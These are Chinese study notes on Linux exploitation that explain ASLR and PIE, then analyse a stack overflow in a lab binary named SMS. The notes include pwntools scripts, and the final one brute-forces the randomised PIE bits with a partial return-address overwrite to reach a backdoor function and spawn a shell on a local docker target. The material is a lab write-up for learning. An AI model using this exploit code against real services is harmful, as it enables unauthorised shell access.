linux漏洞分析入门笔记-bypass_PIE
ubuntu 16.04
IDA 7.0
docker
0x00:漏洞分析
1.ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,因而只能随机化stack、heap、libraries的基址;而PIE(Position Independent Executables)是编译器(gcc,..)功能选项(-fPIE),作用于excutable编译过程,可将其理解为特殊的PIC(so专用,Position Independent Code),加了PIE选项编译出来的ELF用file命令查看会显示其为so,其随机化了ELF装载内存的基址(代码段、plt、got、data等共同的基址)。
ASLR早于PIE出现,所以有return-to-plt、got hijack、stack-pivot(bypass stack ransomize)等绕过ASLR的技术;而在ASLR+PIE之后,这些bypass技术就都失效了,只能借助其他的信息泄露漏洞泄露基址(常用libc基址)。
ASLR有0/1/2三种级别,其中0表示ASLR未开启,1表示随机化stack、libraries,2还会随机化heap。
2.查看目标程序属性与动态分析漏洞成因。
图1
图1中可以看到程序开启了PIE保护,每次加载的基址是不一样的,PIE的应用给使用ROP技术造成了很大的难度。
通过IDA动态调试目标程发现漏洞产生是如下地方:
图2
程序执行过程中在dosms函数中调用了set_user与set_sms函数,set_user读取最大长度为128字符的username,最后一字节做了set_sms中strncpy的大小,修改最后一个字节构长时造成溢出。
1.简单写一个rop来测试。
#! /usr/bin/python
from pwn import *
import pdb
context.log_level = 'debug'
target = process('./SMS')
elf=ELF('./SMS')
pdb.set_trace()
#poc
target.recv()
rop='A'*40#
rop+='\xca'# size
target.sendline(rop)
target.recv()
rop+='B'*159#
#rop+='\x01\xC9'# pass pie
rop+='C'*8#ret address
target.sendline(rop)
target.recv()
target.interactive()
图3
如图3所示返回地址被CCCCCCCC覆盖了,由于这个程序开启了PIE保护,我们不能确定frontdoor的具体地址,因此没办法直接通过溢出来跳转到frontdoor(),也不能通过got表来实现rop了。
0x01:爆破绕过PIE
1.libc每次加载基址会发生变化是ASLR。开启了PIE后的地址,和libc加载时一样,都是在一个内存页的单位上进行变化,即地址的低三位(4KB=0x1000)是不变化的,所以我们可以通过溢出只覆盖已有地址的低三位,(某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位)如果在最后一字节0-0xff空间内有可用的rop也可以只覆盖低两位也就是一个字节来控制流程,不过这样的机率太小了。
2.对比下发现每次随机的其实只有一个位是变化的,所以最多尝试16次就能成功爆破。
图5
图5
我们直接将返回地址修改成后门的地址。
图6
3.最终的poc如下:
#! /usr/bin/python
#coding:utf-8
from pwn import *
import pdb
context.log_level = 'debug'
elf=ELF('./SMS')
pdb.set_trace()
patcharr = ['\x01\x09','\x01\x19','\x01\x29','\x01\x39','\x01\x49','\x01\x59','\x01\x69','\x01\x79','\x01\x89','\x01\x99','\x01\xA9','\x01\xB9','\x01\xC9','\x01\xD9','\x01\xE9','\x01\xF9']
i = 0
while True:
print i
io = remote("172.17.0.2", 10001)
io.recv()
payload = 'A'*40 #padding
payload += '\xca' #size
io.sendline(payload)
io.recv()
payload = 'B'*200 #padding
payload += patcharr[6] # i frontdoor最多尝试16次
io.sendline(payload)
io.recv()
i += 1
try:
io.recv(timeout = 1)
except EOFError:
io.close()
print 'error......'
continue
else:
sleep(0.1)
print 'succ......'
io.sendline('/bin/sh\x00')
sleep(0.1)
io.interactive()
break
最后成功获得shell:
图7
0x02:总结
1.本是想通过修改最后一个字节来执行rop泄露内存地址,但是没有在0x00-0xFF内存空间中找到适合的rop。
linux漏洞分析入门笔记-bypass_PIE的更多相关文章
- Linux漏洞分析入门笔记-Off-By-One(栈)
ubuntu-16.04.5(X86) IDA7.0 0x00.漏洞描述 1.什么是off by one?又称1字节溢出. 源字符串长度等于目标缓冲区长度时,将源字符串复制到目标缓冲区可能会导致off ...
- Linux漏洞分析入门笔记-CVE-2015-0235
Ubuntu 12.04 32位 ida 7.0 0x00:漏洞描述 1.glibc的__nss_hostname_digits_dots存在缓冲区溢出漏洞,导致使用gethostbyname系列函数 ...
- Linux漏洞分析入门笔记-CVE_2018_6323_整型溢出
操作系统 Ubuntu 16.04 /32 位 调试器 IDA pro 7.0 漏洞软件 binutils-2.29.1 0x00: 漏洞描述 1.什么是整数溢出: 在计算机中,整数分 ...
- linux漏洞分析入门笔记-栈溢出
ida7.0 ubuntu16.04 lts 0x00:环境配置 使用IDA远程调试Linux程序步骤如下: 1. 在进行远程调试之前需要对Linux平台进行一些准备工作.在IDA的安装目录中的dbg ...
- Linux内核分析课程笔记(一)
linux内核分析课程笔记(一) 冯诺依曼体系结构 冯诺依曼体系结构实际上就是存储程序计算机. 从两个层面来讲: 从硬件的角度来看,冯诺依曼体系结构逻辑上可以抽象成CPU和内存,通过总线相连.CPU上 ...
- linux内核分析课程笔记(二)
运行一个精简的操作系统内核 存储程序计算机是几乎所有计算机的基础逻辑框架. 堆栈是计算机中非常基础的东西,在最早计算机没有高级语言时,在高级语言出现之前,我们没有函数的概念.但高级语言出现后有了函数调 ...
- Linux内核分析 读书笔记 (第十八章)
第十八章 调试 18.1 准备开始 1. 需要的只是: 一个bug 一个藏匿bug的内核版本 相关内核代码的知识和运气 2. 在跟踪bug的时候,掌握的信息越多越好. 18.2 内核中的bug 1. ...
- Linux内核分析 读书笔记 (第四章)
第四章 进程调度 调度程序负责决定将哪个进程投入运行,何时运行以及运行多长时间.进程调度程序可看做在可运行态进程之间分配有限的处理器时间资源的内核子系统.只有通过调度程序的合理调度,系统资源才能最大限 ...
- Linux内核分析 读书笔记 (第七章)
第七章 链接 1.链接是将各种代码和数据部分收集起来并组合成为一个单一文件的过程,这个文件可被加载(或被拷贝)到存储器并执行. 2.链接可以执行于编译时,也就是在源代码被翻译成机器代码时:也可以执行于 ...
随机推荐
- 26.Generate Parentheses(生产有效括号的种类)
Level: Medium 题目描述: Given n pairs of parentheses, write a function to generate all combinations of ...
- @ApiParam @PathVariable @RequestParam三者区别
转载:https://www.cnblogs.com/xu-lei/p/7803062.html @ApiParam @PathVariable @RequestParam三者区别 1.@ApiPar ...
- 【原创】SpringMVC同一RequestMapping返回不同的类型
曾经在工作中遇到过导出文件时,需要根据不同情况返回不同的数据的情况. 例如: 如果没有数据,弹框提示"没有数据" 导出报错,弹框提示"系统错误" 正常情况下,下 ...
- 洛谷 P3191 [HNOI2007]紧急疏散EVACUATE(网络最大流)
题解 二分答案+Dinic最大流 二分答案\(mid\) 把门拆成\(mid\)个时间点的门 相邻时间的门连一条\(inf\)的边 预处理出每个门到每个人的最短时间 为\(dis[k][i][j]\) ...
- setlocal enabledelayedexpansion 解释
看字面的意思是:设置本地为延迟扩展.其实也就是:延迟变量,全称"延迟环境变量扩展", 在cmd执行命令前会对脚本进行预处理,其中有一个过程是变量识别过程,在这个过程中,如果有两个% ...
- HTTP security headers 安全头例子
这是从以下网站测试得到的结果,参考测试项目可以知道哪些安全头应该如何设置. https://observatory.mozilla.org/analyze.html?host=appcanary.co ...
- Python 时间格式转换
Python time, datetime模块常用方法 1.使用time模块,获取当前时间戳~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~import timetime.time( ...
- jQuery.Flot开发手记
目录 介绍 使用 自定义参数 自定义图例 自定义坐标 自定义数据序列 自定义网格 其他 鼠标停留在图表节点时显示tooltip 介绍 项目地址:http://www.flotcharts.org/ A ...
- cloudera manager的7180 web界面访问不了的解决办法(图文详解)
说在前面的话 我的机器是总共4台,分别为ubuntucmbigdata1.ubuntucmbigdata2.ubuntucmbigdata3和ubuntucmbigdata4.(注意啦,以下是针对Ub ...
- laravel框架的rabbitmq使用示例[多队列封装]
RabbitMQ是实现了高级消息队列协议(AMQP)的开源消息代理软件(亦称面向消息的中间件).RabbitMQ服务器是用Erlang语言编写的,而集群和故障转移是构建在开放电信平台框架上的.所有主要 ...